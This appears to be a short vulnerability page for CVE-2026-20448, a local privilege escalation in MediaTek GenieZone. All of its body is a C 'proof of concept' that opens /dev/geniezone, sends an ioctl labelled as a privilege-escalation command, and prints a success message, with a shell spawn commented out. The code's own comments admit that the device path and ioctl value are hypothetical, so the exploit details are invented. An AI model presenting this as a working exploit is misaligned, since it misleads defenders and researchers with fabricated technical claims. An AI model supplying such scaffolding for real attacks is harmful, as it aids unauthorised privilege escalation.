CVE-2026-20448 MediaTek GenieZone 权限提升漏洞

/* * Conceptual PoC for CVE-2026-20448 * Target: MediaTek GenieZone * Type: Local Privilege Escalation * Pre-condition: Attacker must have System privilege (uid 1000) */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Hypothetical device path and IOCTL command for GenieZone #define DEVICE_PATH "/dev/geniezone" #define GZ_IOCTL_PRIV_ESCALATE 0x8001 int main() { int fd; printf("[*] CVE-2026-20448 PoC: MediaTek GenieZone LPE\n"); // 1. Open the vulnerable device fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open device. Ensure running with System privilege."); return -1; } printf("[+] Device opened successfully."); // 2. Trigger the missing permission check // The vulnerability allows System users to perform actions usually restricted to Kernel/Root printf("[*] Attempting to exploit missing permission check..."); if (ioctl(fd, GZ_IOCTL_PRIV_ESCALATE, NULL) != 0) { perror("[-] Exploit failed"); close(fd); return -1; } printf("[+] Exploit success! Privileges escalated."); // 3. Verify privileges (e.g., by spawning a shell) // system("/system/bin/sh"); close(fd); return 0; }